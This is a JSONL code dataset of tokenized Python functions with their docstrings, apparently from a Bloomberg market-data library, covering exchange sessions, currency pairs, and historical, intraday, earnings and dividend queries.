{"signature": "def market_exact(self, session, start_time: str, end_time: str) -> Session:", "body": "if session not in self.exch: return SessNA<EOL>ss = self.exch[session]<EOL>same_day = ss[<NUM_LIT:0>] < ss[-<NUM_LIT:1>]<EOL>if not start_time: s_time = ss[<NUM_LIT:0>]<EOL>else:<EOL><INDENT>s_time = param.to_hour(start_time)<EOL>if same_day: s_time = max(s_time, ss[<NUM_LIT:0>])<EOL><DEDENT>if not end_time: e_time = ss[-<NUM_LIT:1>]<EOL>else:<EOL><INDENT>e_time = param.to_hour(end_time)<EOL>if same_day: e_time = min(e_time, ss[-<NUM_LIT:1>])<EOL><DEDENT>if same_day and (s_time > e_time): return SessNA<EOL>return Session(start_time=s_time, end_time=e_time)<EOL>", "docstring": "Explicitly specify start time and end time\n\nArgs:\n    session: predefined session\n    start_time: start time in terms of HHMM string\n    end_time: end time in terms of HHMM string\n\nReturns:\n    Session of start_time and end_time", "id": "f171:c0:m4"}
{"signature": "def exch_info(ticker: str) -> pd.Series:", "body": "logger = logs.get_logger(exch_info, level='<STR_LIT>')<EOL>if '<STR_LIT:U+0020>' not in ticker.strip():<EOL><INDENT>ticker = f'<STR_LIT>'<EOL><DEDENT>info = param.load_info(cat='<STR_LIT>').get(<EOL>market_info(ticker=ticker).get('<STR_LIT>', '<STR_LIT>'), dict()<EOL>)<EOL>if ('<STR_LIT>' in info) and ('<STR_LIT>' not in info):<EOL><INDENT>info['<STR_LIT>'] = info['<STR_LIT>']<EOL><DEDENT>if any(req not in info for req in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>logger.error(f'<STR_LIT>')<EOL>return pd.Series()<EOL><DEDENT>for ss in ValidSessions:<EOL><INDENT>if ss not in info: continue<EOL>info[ss] = [param.to_hour(num=s) for s in info[ss]]<EOL><DEDENT>return pd.Series(info)<EOL>", "docstring": "Exchange info for given ticker\n\nArgs:\n    ticker: ticker or exchange\n\nReturns:\n    pd.Series\n\nExamples:\n    >>> exch_info('SPY US Equity')\n    tz        America/New_York\n    allday      [04:00, 20:00]\n    day         [09:30, 16:00]\n    pre         [04:00, 09:30]\n    post        [16:01, 20:00]\n    dtype: object\n    >>> exch_info('ES1 Index')\n    tz        America/New_York\n    allday      [18:00, 17:00]\n    day         [08:00, 17:00]\n    dtype: object\n    >>> exch_info('Z 1 Index')\n    tz         Europe/London\n    allday    [01:00, 21:00]\n    day       [01:00, 21:00]\n    dtype: object\n    >>> exch_info('TESTTICKER Corp').empty\n    True\n    >>> exch_info('US')\n    tz        America/New_York\n    allday      [04:00, 20:00]\n    day         [09:30, 16:00]\n    pre         [04:00, 09:30]\n    post        [16:01, 20:00]\n    dtype: object", "id": "f172:m0"}
{"signature": "def market_info(ticker: str) -> dict:", "body": "t_info = ticker.split()<EOL>assets = param.load_info('<STR_LIT>')<EOL>if (t_info[-<NUM_LIT:1>] == '<STR_LIT>') and ('<STR_LIT:=>' not in t_info[<NUM_LIT:0>]):<EOL><INDENT>exch = t_info[-<NUM_LIT:2>]<EOL>for info in assets.get('<STR_LIT>', [dict()]):<EOL><INDENT>if '<STR_LIT>' not in info: continue<EOL>if exch in info['<STR_LIT>']: return info<EOL><DEDENT>return dict()<EOL><DEDENT>if t_info[-<NUM_LIT:1>] == '<STR_LIT>':<EOL><INDENT>for info in assets.get('<STR_LIT>', [dict()]):<EOL><INDENT>if '<STR_LIT>' not in info: continue<EOL>if (t_info[<NUM_LIT:0>].split('<STR_LIT:+>')[<NUM_LIT:0>] in info['<STR_LIT>']) or(t_info[<NUM_LIT:0>][-<NUM_LIT:1>].isdigit() and (t_info[<NUM_LIT:0>][:-<NUM_LIT:1>] in info['<STR_LIT>'])):<EOL><INDENT>return info<EOL><DEDENT><DEDENT>return dict()<EOL><DEDENT>if t_info[-<NUM_LIT:1>] == '<STR_LIT>':<EOL><INDENT>for info in assets.get('<STR_LIT>', [dict()]):<EOL><INDENT>if '<STR_LIT>' not in info: continue<EOL>if t_info[<NUM_LIT:0>][:-<NUM_LIT:1>] in info['<STR_LIT>']: return info<EOL><DEDENT>return dict()<EOL><DEDENT>if (t_info[-<NUM_LIT:1>] == '<STR_LIT>') or (<EOL>(t_info[-<NUM_LIT:1>] == '<STR_LIT>') and ('<STR_LIT:=>' in t_info[<NUM_LIT:0>])<EOL>):<EOL><INDENT>if t_info[-<NUM_LIT:1>] == '<STR_LIT>':<EOL><INDENT>tck = t_info[<NUM_LIT:0>].split('<STR_LIT:=>')[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>tck = '<STR_LIT:U+0020>'.join(t_info[:-<NUM_LIT:1>])<EOL><DEDENT>for info in assets.get('<STR_LIT>', [dict()]):<EOL><INDENT>if '<STR_LIT>' not in info: continue<EOL>if (tck[:<NUM_LIT:2>] == '<STR_LIT>') and ('<STR_LIT>' in info['<STR_LIT>']): return info<EOL>if tck in info['<STR_LIT>']:<EOL><INDENT>if t_info[-<NUM_LIT:1>] == '<STR_LIT>': return info<EOL>if not info.get('<STR_LIT>', False): return info<EOL><DEDENT>if tck[:-<NUM_LIT:1>].rstrip() in info['<STR_LIT>']:<EOL><INDENT>if info.get('<STR_LIT>', False): return info<EOL><DEDENT><DEDENT>return dict()<EOL><DEDENT>if t_info[-<NUM_LIT:1>] == '<STR_LIT>':<EOL><INDENT>for info in assets.get('<STR_LIT>', [dict()]):<EOL><INDENT>if '<STR_LIT>' not in info: continue<EOL><DEDENT><DEDENT>return dict()<EOL>", "docstring": "Get info for given market\n\nArgs:\n    ticker: Bloomberg full ticker\n\nReturns:\n    dict\n\nExamples:\n    >>> info = market_info('SHCOMP Index')\n    >>> info['exch']\n    'EquityChina'\n    >>> info = market_info('ICICIC=1 IS Equity')\n    >>> info['freq'], info['is_fut']\n    ('M', True)\n    >>> info = market_info('INT1 Curncy')\n    >>> info['freq'], info['is_fut']\n    ('M', True)\n    >>> info = market_info('CL1 Comdty')\n    >>> info['freq'], info['is_fut']\n    ('M', True)\n    >>> # Wrong tickers\n    >>> market_info('C XX Equity')\n    {}\n    >>> market_info('XXX Comdty')\n    {}\n    >>> market_info('Bond_ISIN Corp')\n    {}\n    >>> market_info('XYZ Index')\n    {}\n    >>> market_info('XYZ Curncy')\n    {}", "id": "f172:m1"}
{"signature": "def ccy_pair(local, base='<STR_LIT>') -> CurrencyPair:", "body": "ccy_param = param.load_info(cat='<STR_LIT>')<EOL>if f'<STR_LIT>' in ccy_param:<EOL><INDENT>info = ccy_param[f'<STR_LIT>']<EOL><DEDENT>elif f'<STR_LIT>' in ccy_param:<EOL><INDENT>info = ccy_param[f'<STR_LIT>']<EOL>info['<STR_LIT>'] = <NUM_LIT:1.> / info.get('<STR_LIT>', <NUM_LIT:1.>)<EOL>info['<STR_LIT>'] = -info.get('<STR_LIT>', <NUM_LIT:1>)<EOL><DEDENT>elif base.lower() == local.lower():<EOL><INDENT>info = dict(ticker='<STR_LIT>')<EOL>info['<STR_LIT>'] = <NUM_LIT:1.><EOL>if base[-<NUM_LIT:1>].lower() == base[-<NUM_LIT:1>]:<EOL><INDENT>info['<STR_LIT>'] /= <NUM_LIT><EOL><DEDENT>if local[-<NUM_LIT:1>].lower() == local[-<NUM_LIT:1>]:<EOL><INDENT>info['<STR_LIT>'] *= <NUM_LIT><EOL><DEDENT><DEDENT>else:<EOL><INDENT>logger = logs.get_logger(ccy_pair)<EOL>logger.error(f'<STR_LIT>')<EOL>return CurrencyPair(ticker='<STR_LIT>', factor=<NUM_LIT:1.>, power=<NUM_LIT:1>)<EOL><DEDENT>if '<STR_LIT>' not in info: info['<STR_LIT>'] = <NUM_LIT:1.><EOL>if '<STR_LIT>' not in info: info['<STR_LIT>'] = <NUM_LIT:1><EOL>return CurrencyPair(**info)<EOL>", "docstring": "Currency pair info\n\nArgs:\n    local: local currency\n    base: base currency\n\nReturns:\n    CurrencyPair\n\nExamples:\n    >>> ccy_pair(local='HKD', base='USD')\n    CurrencyPair(ticker='HKD Curncy', factor=1.0, power=1)\n    >>> ccy_pair(local='GBp')\n    CurrencyPair(ticker='GBP Curncy', factor=100, power=-1)\n    >>> ccy_pair(local='USD', base='GBp')\n    CurrencyPair(ticker='GBP Curncy', factor=0.01, power=1)\n    >>> ccy_pair(local='XYZ', base='USD')\n    CurrencyPair(ticker='', factor=1.0, power=1)\n    >>> ccy_pair(local='GBP', base='GBp')\n    CurrencyPair(ticker='', factor=0.01, power=1)\n    >>> ccy_pair(local='GBp', base='GBP')\n    CurrencyPair(ticker='', factor=100.0, power=1)", "id": "f172:m2"}
{"signature": "def market_timing(ticker, dt, timing='<STR_LIT>', tz='<STR_LIT>') -> str:", "body": "logger = logs.get_logger(market_timing)<EOL>exch = pd.Series(exch_info(ticker=ticker))<EOL>if any(req not in exch.index for req in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>logger.error(f'<STR_LIT>')<EOL>return '<STR_LIT>'<EOL><DEDENT>mkt_time = {<EOL>'<STR_LIT>': exch.day[<NUM_LIT:0>], '<STR_LIT>': exch.allday[-<NUM_LIT:1>]<EOL>}.get(timing, exch.day[-<NUM_LIT:1>])<EOL>cur_dt = pd.Timestamp(str(dt)).strftime('<STR_LIT>')<EOL>if tz == '<STR_LIT>':<EOL><INDENT>return f'<STR_LIT>'<EOL><DEDENT>return timezone.tz_convert(f'<STR_LIT>', to_tz=tz, from_tz=exch.tz)<EOL>", "docstring": "Market close time for ticker\n\nArgs:\n    ticker: ticker name\n    dt: date\n    timing: [EOD (default), BOD]\n    tz: conversion to timezone\n\nReturns:\n    str: date & time\n\nExamples:\n    >>> market_timing('7267 JT Equity', dt='2018-09-10')\n    '2018-09-10 14:58'\n    >>> market_timing('7267 JT Equity', dt='2018-09-10', tz=timezone.TimeZone.NY)\n    '2018-09-10 01:58:00-04:00'\n    >>> market_timing('7267 JT Equity', dt='2018-01-10', tz='NY')\n    '2018-01-10 00:58:00-05:00'\n    >>> market_timing('7267 JT Equity', dt='2018-09-10', tz='SPX Index')\n    '2018-09-10 01:58:00-04:00'\n    >>> market_timing('8035 JT Equity', dt='2018-09-10', timing='BOD')\n    '2018-09-10 09:01'\n    >>> market_timing('Z 1 Index', dt='2018-09-10', timing='FINISHED')\n    '2018-09-10 21:00'\n    >>> market_timing('TESTTICKER Corp', dt='2018-09-10')\n    ''", "id": "f172:m3"}
{"signature": "@with_bloomberg<EOL>def bdp(tickers, flds, **kwargs):", "body": "logger = logs.get_logger(bdp, level=kwargs.pop('<STR_LIT>', logs.LOG_LEVEL))<EOL>con, _ = create_connection()<EOL>ovrds = assist.proc_ovrds(**kwargs)<EOL>logger.info(<EOL>f'<STR_LIT>'<EOL>f'<STR_LIT>'<EOL>)<EOL>data = con.ref(tickers=tickers, flds=flds, ovrds=ovrds)<EOL>if not kwargs.get('<STR_LIT>', False): return [data]<EOL>qry_data = []<EOL>for r, snap in data.iterrows():<EOL><INDENT>subset = [r]<EOL>data_file = storage.ref_file(<EOL>ticker=snap.ticker, fld=snap.field, ext='<STR_LIT>', **kwargs<EOL>)<EOL>if data_file:<EOL><INDENT>if not files.exists(data_file): qry_data.append(data.iloc[subset])<EOL>files.create_folder(data_file, is_file=True)<EOL>data.iloc[subset].to_pickle(data_file)<EOL><DEDENT><DEDENT>return qry_data<EOL>", "docstring": "Bloomberg reference data\n\nArgs:\n    tickers: tickers\n    flds: fields to query\n    **kwargs: bbg overrides\n\nReturns:\n    pd.DataFrame\n\nExamples:\n    >>> bdp('IQ US Equity', 'Crncy', raw=True)\n             ticker  field value\n    0  IQ US Equity  Crncy   USD\n    >>> bdp('IQ US Equity', 'Crncy').reset_index()\n             ticker crncy\n    0  IQ US Equity   USD", "id": "f174:m0"}
{"signature": "@with_bloomberg<EOL>def bds(tickers, flds, **kwargs):", "body": "logger = logs.get_logger(bds, level=kwargs.pop('<STR_LIT>', logs.LOG_LEVEL))<EOL>con, _ = create_connection()<EOL>ovrds = assist.proc_ovrds(**kwargs)<EOL>logger.info(<EOL>f'<STR_LIT>'<EOL>f'<STR_LIT>'<EOL>)<EOL>data = con.bulkref(tickers=tickers, flds=flds, ovrds=ovrds)<EOL>if not kwargs.get('<STR_LIT>', False): return [data]<EOL>qry_data = []<EOL>for (ticker, fld), grp in data.groupby(['<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>data_file = storage.ref_file(<EOL>ticker=ticker, fld=fld, ext='<STR_LIT>',<EOL>has_date=kwargs.get('<STR_LIT>', True), **kwargs<EOL>)<EOL>if data_file:<EOL><INDENT>if not files.exists(data_file): qry_data.append(grp)<EOL>files.create_folder(data_file, is_file=True)<EOL>grp.reset_index(drop=True).to_pickle(data_file)<EOL><DEDENT><DEDENT>return qry_data<EOL>", "docstring": "Bloomberg block data\n\nArgs:\n    tickers: ticker(s)\n    flds: field(s)\n    **kwargs: other overrides for query\n      -> raw: raw output from `pdbdp` library, default False\n\nReturns:\n    pd.DataFrame: block data\n\nExamples:\n    >>> import os\n    >>>\n    >>> pd.options.display.width = 120\n    >>> s_dt, e_dt = '20180301', '20181031'\n    >>> dvd = bds(\n    ...     'NVDA US Equity', 'DVD_Hist_All',\n    ...     DVD_Start_Dt=s_dt, DVD_End_Dt=e_dt, raw=True,\n    ... )\n    >>> dvd.loc[:, ['ticker', 'name', 'value']].head(8)\n               ticker                name         value\n    0  NVDA US Equity       Declared Date    2018-08-16\n    1  NVDA US Equity             Ex-Date    2018-08-29\n    2  NVDA US Equity         Record Date    2018-08-30\n    3  NVDA US Equity        Payable Date    2018-09-21\n    4  NVDA US Equity     Dividend Amount          0.15\n    5  NVDA US Equity  Dividend Frequency       Quarter\n    6  NVDA US Equity       Dividend Type  Regular Cash\n    7  NVDA US Equity       Declared Date    2018-05-10\n    >>> dvd = bds(\n    ...     'NVDA US Equity', 'DVD_Hist_All',\n    ...     DVD_Start_Dt=s_dt, DVD_End_Dt=e_dt,\n    ... )\n    >>> dvd.reset_index().loc[:, ['ticker', 'ex_date', 'dividend_amount']]\n               ticker     ex_date  dividend_amount\n    0  NVDA US Equity  2018-08-29             0.15\n    1  NVDA US Equity  2018-05-23             0.15\n    >>> if not os.environ.get('BBG_ROOT', ''):\n    ...     os.environ['BBG_ROOT'] = f'{files.abspath(__file__, 1)}/tests/data'\n    >>> idx_kw = dict(End_Dt='20181220', cache=True)\n    >>> idx_wt = bds('DJI Index', 'Indx_MWeight_Hist', **idx_kw)\n    >>> idx_wt.round(2).tail().reset_index(drop=True)\n      index_member  percent_weight\n    0         V UN            3.82\n    1        VZ UN            1.63\n    2       WBA UW            2.06\n    3       WMT UN            2.59\n    4       XOM UN            2.04\n    >>> idx_wt = bds('DJI Index', 'Indx_MWeight_Hist', **idx_kw)\n    >>> idx_wt.round(2).head().reset_index(drop=True)\n      index_member  percent_weight\n    0      AAPL UW            4.65\n    1       AXP UN            2.84\n    2        BA UN            9.29\n    3       CAT UN            3.61\n    4      CSCO UW            1.26", "id": "f174:m1"}
{"signature": "@with_bloomberg<EOL>def bdh(<EOL>tickers, flds=None, start_date=None, end_date='<STR_LIT>', adjust=None, **kwargs<EOL>) -> pd.DataFrame:", "body": "logger = logs.get_logger(bdh, level=kwargs.pop('<STR_LIT>', logs.LOG_LEVEL))<EOL>if isinstance(adjust, str) and adjust:<EOL><INDENT>if adjust == '<STR_LIT:all>':<EOL><INDENT>kwargs['<STR_LIT>'] = True<EOL>kwargs['<STR_LIT>'] = True<EOL>kwargs['<STR_LIT>'] = True<EOL><DEDENT>else:<EOL><INDENT>kwargs['<STR_LIT>'] = '<STR_LIT>' in adjust or '<STR_LIT>' in adjust<EOL>kwargs['<STR_LIT>'] = '<STR_LIT>' in adjust or '<STR_LIT>' in adjust<EOL>kwargs['<STR_LIT>'] = '<STR_LIT>' in adjust<EOL><DEDENT><DEDENT>con, _ = create_connection()<EOL>elms = assist.proc_elms(**kwargs)<EOL>ovrds = assist.proc_ovrds(**kwargs)<EOL>if isinstance(tickers, str): tickers = [tickers]<EOL>if flds is None: flds = ['<STR_LIT>']<EOL>if isinstance(flds, str): flds = [flds]<EOL>e_dt = utils.fmt_dt(end_date, fmt='<STR_LIT>')<EOL>if start_date is None:<EOL><INDENT>start_date = pd.Timestamp(e_dt) - relativedelta(months=<NUM_LIT:3>)<EOL><DEDENT>s_dt = utils.fmt_dt(start_date, fmt='<STR_LIT>')<EOL>logger.info(<EOL>f'<STR_LIT>'<EOL>f'<STR_LIT>'<EOL>)<EOL>logger.debug(<EOL>f'<STR_LIT>'<EOL>)<EOL>res = con.bdh(<EOL>tickers=tickers, flds=flds, elms=elms, ovrds=ovrds, start_date=s_dt, end_date=e_dt<EOL>)<EOL>res.index.name = None<EOL>if (len(flds) == <NUM_LIT:1>) and kwargs.get('<STR_LIT>', False):<EOL><INDENT>return res.xs(flds[<NUM_LIT:0>], axis=<NUM_LIT:1>, level=<NUM_LIT:1>)<EOL><DEDENT>return res<EOL>", "docstring": "Bloomberg historical data\n\nArgs:\n    tickers: ticker(s)\n    flds: field(s)\n    start_date: start date\n    end_date: end date - default today\n    adjust: `all`, `dvd`, `normal`, `abn` (=abnormal), `split`, `-` or None\n            exact match of above words will adjust for corresponding events\n            Case 0: `-` no adjustment for dividend or split\n            Case 1: `dvd` or `normal|abn` will adjust for all dividends except splits\n            Case 2: `adjust` will adjust for splits and ignore all dividends\n            Case 3: `all` == `dvd|split` == adjust for all\n            Case 4: None == Bloomberg default OR use kwargs\n    **kwargs: overrides\n\nReturns:\n    pd.DataFrame\n\nExamples:\n    >>> res = bdh(\n    ...     tickers='VIX Index', flds=['High', 'Low', 'Last_Price'],\n    ...     start_date='2018-02-05', end_date='2018-02-07',\n    ... ).round(2).transpose()\n    >>> res.index.name = None\n    >>> res.columns.name = None\n    >>> res\n                          2018-02-05  2018-02-06  2018-02-07\n    VIX Index High             38.80       50.30       31.64\n              Low              16.80       22.42       21.17\n              Last_Price       37.32       29.98       27.73\n    >>> bdh(\n    ...     tickers='AAPL US Equity', flds='Px_Last',\n    ...     start_date='20140605', end_date='20140610', adjust='-'\n    ... ).round(2)\n    ticker     AAPL US Equity\n    field             Px_Last\n    2014-06-05         647.35\n    2014-06-06         645.57\n    2014-06-09          93.70\n    2014-06-10          94.25\n    >>> bdh(\n    ...     tickers='AAPL US Equity', flds='Px_Last',\n    ...     start_date='20140606', end_date='20140609',\n    ...     CshAdjNormal=False, CshAdjAbnormal=False, CapChg=False,\n    ... ).round(2)\n    ticker     AAPL US Equity\n    field             Px_Last\n    2014-06-06         645.57\n    2014-06-09          93.70", "id": "f174:m2"}
{"signature": "@with_bloomberg<EOL>def bdib(ticker, dt, typ='<STR_LIT>', **kwargs) -> pd.DataFrame:", "body": "from xbbg.core import missing<EOL>logger = logs.get_logger(bdib, level=kwargs.pop('<STR_LIT>', logs.LOG_LEVEL))<EOL>t_1 = pd.Timestamp('<STR_LIT>').date() - pd.Timedelta('<STR_LIT>')<EOL>whole_day = pd.Timestamp(dt).date() < t_1<EOL>batch = kwargs.pop('<STR_LIT>', False)<EOL>if (not whole_day) and batch:<EOL><INDENT>logger.warning(f'<STR_LIT>')<EOL>return pd.DataFrame()<EOL><DEDENT>cur_dt = pd.Timestamp(dt).strftime('<STR_LIT>')<EOL>asset = ticker.split()[-<NUM_LIT:1>]<EOL>info_log = f'<STR_LIT>'<EOL>if asset in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>exch = const.exch_info(ticker=ticker)<EOL>if exch.empty: return pd.DataFrame()<EOL><DEDENT>else:<EOL><INDENT>logger.error(f'<STR_LIT>')<EOL>return pd.DataFrame()<EOL><DEDENT>time_fmt = '<STR_LIT>'<EOL>time_idx = pd.DatetimeIndex([<EOL>f'<STR_LIT>', f'<STR_LIT>']<EOL>).tz_localize(exch.tz).tz_convert(DEFAULT_TZ).tz_convert('<STR_LIT>')<EOL>if time_idx[<NUM_LIT:0>] > time_idx[<NUM_LIT:1>]: time_idx -= pd.TimedeltaIndex(['<STR_LIT>', '<STR_LIT>'])<EOL>q_tckr = ticker<EOL>if exch.get('<STR_LIT>', False):<EOL><INDENT>if '<STR_LIT>' not in exch:<EOL><INDENT>logger.error(f'<STR_LIT>')<EOL><DEDENT>is_sprd = exch.get('<STR_LIT>', False) and (len(ticker[:-<NUM_LIT:1>]) != exch['<STR_LIT>'][<NUM_LIT:0>])<EOL>if not is_sprd:<EOL><INDENT>q_tckr = fut_ticker(gen_ticker=ticker, dt=dt, freq=exch['<STR_LIT>'])<EOL>if q_tckr == '<STR_LIT>':<EOL><INDENT>logger.error(f'<STR_LIT>')<EOL>return pd.DataFrame()<EOL><DEDENT><DEDENT><DEDENT>info_log = f'<STR_LIT>'<EOL>miss_kw = dict(ticker=ticker, dt=dt, typ=typ, func='<STR_LIT>')<EOL>cur_miss = missing.current_missing(**miss_kw)<EOL>if cur_miss >= <NUM_LIT:2>:<EOL><INDENT>if batch: return pd.DataFrame()<EOL>logger.info(f'<STR_LIT>')<EOL>return pd.DataFrame()<EOL><DEDENT>logger.info(f'<STR_LIT>')<EOL>con, _ = create_connection()<EOL>try:<EOL><INDENT>data = con.bdib(<EOL>ticker=q_tckr, event_type=typ, interval=<NUM_LIT:1>,<EOL>start_datetime=time_idx[<NUM_LIT:0>].strftime(time_fmt),<EOL>end_datetime=time_idx[<NUM_LIT:1>].strftime(time_fmt),<EOL>)<EOL><DEDENT>except KeyError:<EOL><INDENT>data = pd.DataFrame()<EOL><DEDENT>if not isinstance(data, pd.DataFrame):<EOL><INDENT>raise ValueError(f'<STR_LIT>')<EOL><DEDENT>if data.empty:<EOL><INDENT>logger.warning(f'<STR_LIT>')<EOL>missing.update_missing(**miss_kw)<EOL>return pd.DataFrame()<EOL><DEDENT>data = data.tz_localize('<STR_LIT>').tz_convert(exch.tz)<EOL>storage.save_intraday(data=data, ticker=ticker, dt=dt, typ=typ)<EOL>return pd.DataFrame() if batch else assist.format_intraday(data=data, ticker=ticker)<EOL>", "docstring": "Bloomberg intraday bar data\n\nArgs:\n    ticker: ticker name\n    dt: date to download\n    typ: [TRADE, BID, ASK, BID_BEST, ASK_BEST, BEST_BID, BEST_ASK]\n    **kwargs:\n        batch: whether is batch process to download data\n        log: level of logs\n\nReturns:\n    pd.DataFrame", "id": "f174:m3"}
{"signature": "def intraday(ticker, dt, session='<STR_LIT>', **kwargs) -> pd.DataFrame:", "body": "from xbbg.core import intervals<EOL>cur_data = bdib(ticker=ticker, dt=dt, typ=kwargs.get('<STR_LIT>', '<STR_LIT>'))<EOL>if cur_data.empty: return pd.DataFrame()<EOL>fmt = '<STR_LIT>'<EOL>ss = intervals.SessNA<EOL>ref = kwargs.get('<STR_LIT>', None)<EOL>exch = pd.Series() if ref is None else const.exch_info(ticker=ref)<EOL>if session: ss = intervals.get_interval(<EOL>ticker=kwargs.get('<STR_LIT>', ticker), session=session<EOL>)<EOL>start_time = kwargs.get('<STR_LIT>', None)<EOL>end_time = kwargs.get('<STR_LIT>', None)<EOL>if ss != intervals.SessNA:<EOL><INDENT>start_time = pd.Timestamp(ss.start_time).strftime(fmt)<EOL>end_time = pd.Timestamp(ss.end_time).strftime(fmt)<EOL><DEDENT>if start_time and end_time:<EOL><INDENT>kw = dict(start_time=start_time, end_time=end_time)<EOL>if not exch.empty:<EOL><INDENT>cur_tz = cur_data.index.tz<EOL>res = cur_data.tz_convert(exch.tz).between_time(**kw)<EOL>if kwargs.get('<STR_LIT>', False):<EOL><INDENT>res = res.tz_convert(cur_tz)<EOL><DEDENT>return pd.DataFrame(res)<EOL><DEDENT>return pd.DataFrame(cur_data.between_time(**kw))<EOL><DEDENT>return cur_data<EOL>", "docstring": "Bloomberg intraday bar data within market session\n\nArgs:\n    ticker: ticker\n    dt: date\n    session: examples include\n             day_open_30, am_normal_30_30, day_close_30, allday_exact_0930_1000\n    **kwargs:\n        ref: reference ticker or exchange for timezone\n        keep_tz: if keep tz if reference ticker / exchange is given\n        start_time: start time\n        end_time: end time\n        typ: [TRADE, BID, ASK, BID_BEST, ASK_BEST, BEST_BID, BEST_ASK]\n\nReturns:\n    pd.DataFrame", "id": "f174:m4"}
{"signature": "@with_bloomberg<EOL>def earning(<EOL>ticker, by='<STR_LIT>', typ='<STR_LIT>', ccy=None, level=None, **kwargs<EOL>) -> pd.DataFrame:", "body": "ovrd = '<STR_LIT>' if by[<NUM_LIT:0>].upper() == '<STR_LIT>' else '<STR_LIT:P>'<EOL>new_kw = dict(raw=True, Product_Geo_Override=ovrd)<EOL>header = bds(tickers=ticker, flds='<STR_LIT>', **new_kw, **kwargs)<EOL>if ccy: kwargs['<STR_LIT>'] = ccy<EOL>if level: kwargs['<STR_LIT>'] = level<EOL>data = bds(tickers=ticker, flds=f'<STR_LIT>', **new_kw, **kwargs)<EOL>return assist.format_earning(data=data, header=header)<EOL>", "docstring": "Earning exposures by Geo or Products\n\nArgs:\n    ticker: ticker name\n    by: [G(eo), P(roduct)]\n    typ: type of earning, start with `PG_` in Bloomberg FLDS - default `Revenue`\n    ccy: currency of earnings\n    level: hierarchy level of earnings\n\nReturns:\n    pd.DataFrame\n\nExamples:\n    >>> data = earning('AMD US Equity', Eqy_Fund_Year=2017, Number_Of_Periods=1)\n    >>> data.round(2)\n                     level  fy2017  fy2017_pct\n    Asia-Pacific       1.0  3540.0       66.43\n    \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0China           2.0  1747.0       49.35\n    \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0Japan           2.0  1242.0       35.08\n    \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0Singapore       2.0   551.0       15.56\n    United States      1.0  1364.0       25.60\n    Europe             1.0   263.0        4.94\n    Other Countries    1.0   162.0        3.04", "id": "f174:m5"}
{"signature": "def dividend(<EOL>tickers, typ='<STR_LIT:all>', start_date=None, end_date=None, **kwargs<EOL>) -> pd.DataFrame:", "body": "if isinstance(tickers, str): tickers = [tickers]<EOL>tickers = [t for t in tickers if ('<STR_LIT>' in t) and ('<STR_LIT:=>' not in t)]<EOL>fld = {<EOL>'<STR_LIT:all>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>}.get(typ, typ)<EOL>if (fld == '<STR_LIT>') and ('<STR_LIT>' not in kwargs):<EOL><INDENT>kwargs['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>if fld in [<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>',<EOL>]:<EOL><INDENT>if start_date: kwargs['<STR_LIT>'] = utils.fmt_dt(start_date, fmt='<STR_LIT>')<EOL>if end_date: kwargs['<STR_LIT>'] = utils.fmt_dt(end_date, fmt='<STR_LIT>')<EOL><DEDENT>kwargs['<STR_LIT>'] = {<EOL>'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>',<EOL>}<EOL>return bds(tickers=tickers, flds=fld, raw=False, **kwargs)<EOL>", "docstring": "Bloomberg dividend / split history\n\nArgs:\n    tickers: list of tickers\n    typ: dividend adjustment type\n        `all`:       `DVD_Hist_All`\n        `dvd`:       `DVD_Hist`\n        `split`:     `Eqy_DVD_Hist_Splits`\n        `gross`:     `Eqy_DVD_Hist_Gross`\n        `adjust`:    `Eqy_DVD_Adjust_Fact`\n        `adj_fund`:  `Eqy_DVD_Adj_Fund`\n        `with_amt`:  `DVD_Hist_All_with_Amt_Status`\n        `dvd_amt`:   `DVD_Hist_with_Amt_Status`\n        `gross_amt`: `DVD_Hist_Gross_with_Amt_Stat`\n        `projected`: `BDVD_Pr_Ex_Dts_DVD_Amts_w_Ann`\n    start_date: start date\n    end_date: end date\n    **kwargs: overrides\n\nReturns:\n    pd.DataFrame\n\nExamples:\n    >>> res = dividend(\n    ...     tickers=['C US Equity', 'NVDA US Equity', 'MS US Equity'],\n    ...     start_date='2018-01-01', end_date='2018-05-01'\n    ... )\n    >>> res.index.name = None\n    >>> res.loc[:, ['ex_date', 'rec_date', 'dvd_amt']].round(2)\n                       ex_date    rec_date  dvd_amt\n    C US Equity     2018-02-02  2018-02-05     0.32\n    MS US Equity    2018-04-27  2018-04-30     0.25\n    MS US Equity    2018-01-30  2018-01-31     0.25\n    NVDA US Equity  2018-02-22  2018-02-23     0.15", "id": "f174:m6"}
